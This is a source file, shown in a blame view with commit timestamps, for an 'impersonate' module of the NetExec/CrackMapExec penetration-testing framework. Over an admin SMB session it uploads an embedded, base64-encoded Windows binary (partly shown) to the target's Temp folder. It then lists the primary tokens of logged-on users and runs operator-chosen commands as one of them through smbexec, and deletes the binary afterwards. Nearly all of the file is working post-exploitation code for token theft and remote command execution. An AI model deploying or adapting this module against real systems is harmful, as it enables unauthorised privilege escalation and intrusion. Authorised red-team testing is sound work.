NetExec/cme/modules/impersonate.py

101 lines
178 KiB
Python
Raw Normal View History

# Impersonate module for CME
# Author of the module : https://twitter.com/Defte_
# Impersonate: [ REPO TO ADD ]
# Token manipulation internals blog post [ LINK ]
2022-10-27 10:21:46 +00:00
from base64 import b64decode
2022-10-27 19:32:55 +00:00
from sys import exit
from os import path
2022-07-04 12:44:35 +00:00
class CMEModule:
name = "impersonate"
description = "List and impersonate tokens to run command as locally logged on users"
supported_protocols = ["smb"]
opsec_safe = True # could be flagged
multiple_hosts = True
def options(self, context, module_options):
'''
2022-10-27 10:21:46 +00:00
TOKEN // Token id to usurp
EXEC // Command to exec
IMP_EXE // Path to the Impersonate binary on your local computer
2022-07-04 12:44:35 +00:00
'''
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
self.impersonate = "Impersonate.exe"
self.useembeded = True
2022-10-27 19:32:55 +00:00
self.token = self.cmd = ""
2022-11-02 11:23:07 +00:00
self.impersonate_embedded = b64decode('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABJhw/iDeZhsQ3mYbEN5mGxGY1lsAbmYbEZjWKwCOZhsRmNZLCH5mGxbZxksCvmYbFtnGWwHeZhsW2cYrAE5mGxGY1gsATmYbEN5mCxZ+ZhsWmcaLAM5mGxaZyesQzmYbFpnGOwDOZhsVJpY2gN5mGxAAAAAAAAAABQRQAAZIYHAJ1RYmMAAAAAAAAAAPAAIgALAg4gAC4BAADqAAAAAAAAkCAAAAAQAAAAAABAAQAAAAAQAAAAAgAABgAAAAAAAAAGAAAAAAAAAABgAgAABAAAAAAAAAMAYIEAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAA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mNgeL9//9MjYXAdwEATCvAD7cQQg+3DAAr0XUISIPAAoXJdeyF0nVhTI2F3nkBAEmLwU0rwWZmDx+EAAAAAAAPtxBCD7cMACvRdQhIg8AChcl17IXSdTJJjYHIAAAATI2FpnoBAEwrwA8fgAAAAAAPtxBCD7cMACvRdQhIg8AChcl17IXSRQ9E1EmBwcADAABNK9wPhWb///9FhdIPhewAAABIjZXeeQEASMfB/////w8fQABmZmYPH4QAAAAAAA+3REoCZjtETgIPhb8AAABIg8ECSIP5DXQYD7cESmY7BE503EmLz/8VuygB
2022-07-04 12:44:35 +00:00
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
2022-10-27 19:32:55 +00:00
if "TOKEN" in module_options:
self.token = module_options["TOKEN"]
if "IMP_EXE" in module_options:
self.imp_exe = module_options["IMP_EXE"]
self.useembeded = False
2022-07-04 12:44:35 +00:00
2022-07-09 16:34:35 +00:00
def list_available_primary_tokens(self, _, connection):
2022-10-27 10:21:46 +00:00
command = f"{self.tmp_dir}Impersonate.exe list"
2022-07-09 16:34:35 +00:00
return connection.execute(command, True)
2022-07-04 12:44:35 +00:00
def on_admin_login(self, context, connection):
if self.useembeded:
file_to_upload = "/tmp/Impersonate.exe"
with open(file_to_upload, 'wb') as impersonate:
impersonate.write(self.impersonate_embedded)
else:
if path.isfile(self.imp_exe):
file_to_upload = self.imp_exe
else:
context.log.error(f"Cannot open {self.imp_exe}")
exit(1)
2022-07-04 12:44:35 +00:00
context.log.info(f"Uploading {self.impersonate}")
with open(file_to_upload, 'rb') as impersonate:
2022-07-04 12:44:35 +00:00
try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read)
2022-07-09 16:34:35 +00:00
context.log.success(f"Impersonate binary successfully uploaded")
2022-07-04 12:44:35 +00:00
except Exception as e:
context.log.error(f"Error writing file to share {self.tmp_share}: {e}")
return
try:
2022-10-27 19:32:55 +00:00
if self.cmd == "" or self.token == "":
2022-07-09 16:34:35 +00:00
context.log.info(f"Listing available primary tokens")
p = self.list_available_primary_tokens(context, connection)
2022-07-04 12:44:35 +00:00
for line in p.splitlines():
2022-10-27 10:21:46 +00:00
token, token_owner = line.split(" ", 1)
context.log.highlight(f"Primary token ID: {token} {token_owner}")
2022-07-04 12:44:35 +00:00
else:
2022-07-09 16:34:35 +00:00
impersonated_user = ""
p = self.list_available_primary_tokens(context, connection)
for line in p.splitlines():
token_id, token_owner = line.split(" ", 1)
2022-10-27 10:21:46 +00:00
if token_id == self.token:
impersonated_user = token_owner.strip()
2022-07-09 16:34:35 +00:00
break
2022-10-27 10:21:46 +00:00
if impersonated_user:
2022-10-27 19:32:55 +00:00
context.log.info(f"Executing {self.cmd} as {impersonated_user}")
command = f"{self.tmp_dir}Impersonate.exe exec {self.token} \"{self.cmd}\""
for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
2022-10-27 10:21:46 +00:00
context.log.highlight(line)
2022-07-09 16:34:35 +00:00
else:
context.log.error(f"Invalid token ID submitted")
2022-07-04 12:44:35 +00:00
except Exception as e:
context.log.error(f"Error runing command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
2022-10-27 10:21:46 +00:00
context.log.success(f"Impersonate binary successfully deleted")
2022-07-04 12:44:35 +00:00
except Exception as e:
2022-10-27 10:21:46 +00:00
context.log.error(f"Error deleting Impersonate.exe on {self.share}: {e}")